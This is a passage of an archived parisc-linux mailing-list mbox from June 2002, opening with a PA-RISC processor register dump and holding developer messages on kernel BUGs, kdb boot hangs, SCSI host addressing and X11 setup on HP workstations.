00-03   0000000000000000  000000001035eee0  00000000101009dc  0000000000000000
04-07   0000000000366000  00000000f0400008  00000000000000fa  00000000f0002f68
08-11   0000000000000000  0000000000000000  000000000004000e  00000000103a7464
12-15   00000000000000f2  0000000000000001  0000000000000001  00000000000000f3
16-19   0000000002020202  0000000000000002  00000000f000016c  0000000011158000
20-23   0000000000000000  00000000103382b0  00000000103597c4  0000000000000000
24-27   00000000103598a0  0000000000000032  0000000000000019  0000000010338010
28-31   0000000000000000  0000000000000010  00000000111586c0  00000000103598a0

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  00000000000000c0  000000000000001e
12-15   0000000000000000  0000000000000000  0000000000106000  00000000ff800000
16-19   0000001107f8d7df  0000000000000000  00000000101009dc  0000000003c008b3
20-23   0000000000000000  0000000000000000  000000000004ff0f  0000000000000000
24-27   0000000000366000  0000000000366000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  0000000011158000  0000000011111111
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x00000000101009e0
CPU State                    = 0x9e000001


<Press any key to continue (q to quit)> 

Memory Error Log Information:

Timestamp = 
  Sun Jun  2 19:40:32 GMT 2002    (20:02:06:02:19:40:32)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp = 
  Sun Jun  2 19:40:32 GMT 2002    (20:02:06:02:19:40:32)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x0002e000   0x0e0cc009   0x00000000000007fc
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    0x04000000   0x2e0cc009   0xffffffffffffffff
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------
Main Menu: Enter command > 
Main Menu: Enter command > 
Main Menu: Enter command > 

> 
> 
> > > hth,
> > grant
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 

-- 
On ability:
	A dwarf is small, even if he stands on a mountain top;
	a colossus keeps his height, even if he stands in a well.
		-- Lucius Annaeus Seneca, 4BC - 65AD




From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Tue, 04 Jun 2002 08:32:45 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <1023172365.3cfc5f0d1b7f7@webmail.tiscalinet.be>
References: <200206031738.g53HcNjL011765@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621355 8241 80.91.229.3 (22 Nov 2014 01:55:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:55 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 00:33:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB32E482D
	for <parisc-linux@parisc-linux.org>; Tue,  4 Jun 2002 00:33:26 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17F7s5-0004AN-00; Tue, 04 Jun 2002 08:32:45 +0200
In-Reply-To: <200206031738.g53HcNjL011765@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14967

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > I really have no chance with this b2000:
> > I broken first my install and now it makes a HPMC in the middle of
> binutils
> > build and the pim info are not clear :((
> 
> I'd try a new kernel first.

Very strange behaviour: 
with some difficulties I reach to restart a kernel then I launch  my toolchain
script (which failled because of __therad problem), I change the faulty header
and finaly relaunch script which failled in a tar xjf (some time during the
first extract of binutils, some time during the second extract of gcc32) what
ever the kernel I used 2.4.18-pa24 2.4.18-pa24+lvm1.0.4 2.4.19-pre8-pa29?.

But thanks to the console logs grab with minicom I reach to notice the "BUG":

Debian GNU/Linux 3.0 palx2000 ttyS0

palx2000 login:

kernel BUG at superio.c:109!
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x2ee00000 to 0x2ee00bc0:
...

What could the reason why the tar xjf is successfull a first time and when it is
relaunched, it fails? Ext3 fs (I am not sure how can I change back to ext2) bash
(which other sh may I try) ?


Joel

PS: after a cleanpim it seems to be easiest to reboot?

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Tue, 04 Jun 2002 09:57:36 +0200
Organization: H.P
Lines: 67
Approved: news@gmane.org
Message-ID: <3CFC72F0.E8767180@admin.france.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com> <20020402164417.6C6B6482A@dsl2.external.hp.com>  <3CFB4D2A.F86BEDC4@admin.france.hp.com> <20020603203819.DB7084831@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------95F2415AED24E8D5D3169D06"
X-Trace: ger.gmane.org 1416621355 8245 80.91.229.3 (22 Nov 2014 01:55:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:55 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 02:29:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6682A482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 02:29:43 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 2BBDD8D5
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 10:29:42 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id KAA25986 for <parisc-linux@lists.parisc-linux.org>; Tue, 4 Jun 2002 10:01:50 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14968

This is a multi-part message in MIME format.
--------------95F2415AED24E8D5D3169D06
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
Thanks for the answer, it's clear now. The fact is I'm able 
to retrieve the hpa for a PCI device "only". But for the lazy 
example, I can retrieve the base, but not the hpa. So it would 
be really nice if I can write something usable also on 
712/710/etc.... and not only for PCI system. So I think I'll
forget it at this time, and work only for PCI subsystem (I can still
work on a function that test the kind of scsi card, and do the
reverse job to calculate the hpa from the base, but I'm not sure that
it is the best solution).

	Thanks a lot.

Grant Grundler wrote:
> 
> Bruno Vidal wrote:
> > Can someone can explain what is the difference between the
> > "hpa" of a scsi card (pci or not) and the "base" in the structure Scsi_Host ?
> 
> hpa and base are "handles" for different views of HW.
> "hpa" doesn't have to be a physical address (though it normally is).
> On V-class, the hpa is bogus and just a reference to particular IO device.
> base could be "adjusted" (like the LASI example) or "F-extended"
> for 64-bit or whatever the platform code thinks the driver needs
> to reference the device properly.
> 
> But in practice, for the platforms we support to date, I think you
> can compare them (or compare most of the bits) to determine
> if it's the same device.
> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------95F2415AED24E8D5D3169D06
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------95F2415AED24E8D5D3169D06--




From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 4 Jun 2002 12:55:47 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20020604115547.GB1808@tykepenguin.com>
References: <20020529082107.A2794@systemhalted> <20020529141231.GG9919@tykepenguin.com> <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621355 8249 80.91.229.3 (22 Nov 2014 01:55:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 05:56:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (unknown [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E4614830
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 05:56:29 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17FCui-0000U6-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 04 Jun 2002 12:55:48 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020531085419.B18658@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14969

On Fri, May 31, 2002 at 08:54:19AM -0400, Carlos O'Donell Jr. wrote:
> > 
> > Yes, exactly the same results. There's some thing different about the
> > binary vmlinux thatmay, or may not, be relevant. The kdb one seems to
> > have fewer segments than a non-kdb one:
> > 
> 
> Yes. Something is broke.
> 
> I just recently cleaned up my src trees and rebuilt a
> kdb enabled kernel and I get the same result on my 712/60.

I'm glad it's not just me :-)
 
> /me puts thinking cap on...
> 
> The _interesting_ thing would be to diff the System.map's
> for kdb-on vs. kdb-off to see is anything is explicitly being
> removed.

My guess was the the scsi __init functions were not getting called for some
reason, I have the System.map files for both builds but they both look OK (not
that I ful understand the kernel __init system though) 


patrick




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 4 Jun 2002 08:44:40 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20020604084440.A24973@systemhalted>
References: <20020529141231.GG9919@tykepenguin.com> <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621356 8258 80.91.229.3 (22 Nov 2014 01:55:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 06:44:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3296B4833
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 06:44:41 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g54CifQ25022;
	Tue, 4 Jun 2002 08:44:41 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Patrick Caulfield <patrick@tykepenguin.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020604115547.GB1808@tykepenguin.com>; from patrick@tykepenguin.com on Tue, Jun 04, 2002 at 12:55:47PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14970

> 
> > The _interesting_ thing would be to diff the System.map's
> > for kdb-on vs. kdb-off to see is anything is explicitly being
> > removed.
> 
> My guess was the the scsi __init functions were not getting called for some
> reason, I have the System.map files for both builds but they both look OK (not
> that I ful understand the kernel __init system though) 
>

Yeah, I've run through the kdb and non-kdb builds and everything
is okay. 

I think there are two maybe three places where kdb initializes 
certain structures during startup. I'm going to have to check 
those paths to see how far it gets before dying.

Any comments from the crowd would be helpfull :)

/me goes off to add some printk's and extra checks
c. 



From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jlc.bardou@m6net.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B180L
Date: Tue, 4 Jun 2002 15:44:44 +0200 (CEST)
Lines: 18
Approved: news@gmane.org
Message-ID: <mnet1.1023198284.11531.jlc.bardou@m6net.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621356 8260 80.91.229.3 (22 Nov 2014 01:55:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 07:44:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from medianet-1v.grolier.fr (medianet-1v.grolier.fr [194.158.98.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id D87144835
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 07:44:46 -0600 (MDT)
Original-Received: from m6net.fr (localhost [127.0.0.1])
	by medianet-1v.grolier.fr (8.9.3+Sun/8.9.3) with SMTP id PAA21413
	for parisc-linux@lists.parisc-linux.org; Tue, 4 Jun 2002 15:44:44 +0200 (CEST)
Original-Received: from [193.251.11.6] by m6-1v.m6net.fr via html interface;
X-Mailer: Medianet/v2.0
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14971

Hello,

I have an HP PARISC B180L with a gecko graphics card.
What your method for config X11 on the debian 0.9.3 ?
Because i can't do that with the method for linux on I386 with XF86config.

Can you help me please=21


-------------------------------------------
LOFT STORY SUR TON MOBA=CFLLL =21=21=21 =

Habille ton portable aux couleurs de Loft Story et fais-le vibrer au son d=
e ton =E9mission pr=E9f=E9r=E9e en appelant le 08 99 707 500 (1,35 E/appel=
 + 0,34 E/min)




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 4 Jun 2002 08:49:54 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20020604154954.GA29187@tausq.org>
References: <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621356 8271 80.91.229.3 (22 Nov 2014 01:55:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:56 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 09:50:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CF874836
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 09:50:09 -0600 (MDT)
Original-Received: (qmail 16410 invoked from network); 4 Jun 2002 15:50:07 -0000
Original-Received: from unknown (HELO gandalf.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <carlos@baldric.uwo.ca>; 4 Jun 2002 15:50:07 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 17FGZH-0007bJ-00; Tue, 04 Jun 2002 08:49:55 -0700
Content-Disposition: inline
In-Reply-To: <20020604084440.A24973@systemhalted>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14972

> I think there are two maybe three places where kdb initializes 
> certain structures during startup. I'm going to have to check 
> those paths to see how far it gets before dying.
> 
> Any comments from the crowd would be helpfull :)
> 
> /me goes off to add some printk's and extra check

i've been offline for a bit so i might have missed something... but aiui
the symptom you've been seeing is that it hangs at the "If this is the
last message you see" message? has anyone tried to compile a kernel with
early bootup messages (there's a #define in pdc_cons.c to enable this)
and see if they get farther?

there are some debugging stuff that you can turn on in
arch/parisc/kernel/unwind.c ... that piece of code has caused some hangs 
in the past, you might want to enable those printks as well.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 04 Jun 2002 18:31:21 +0200 (CEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <1023208281.3cfceb5911126@webmail.tiscalinet.be>
References: <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621357 8274 80.91.229.3 (22 Nov 2014 01:55:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:57 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 10:33:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 960DB4837
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 10:33:06 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17FHDN-00016Y-00; Tue, 04 Jun 2002 18:31:21 +0200
In-Reply-To: <20020604154954.GA29187@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14973

Hi Randolph,

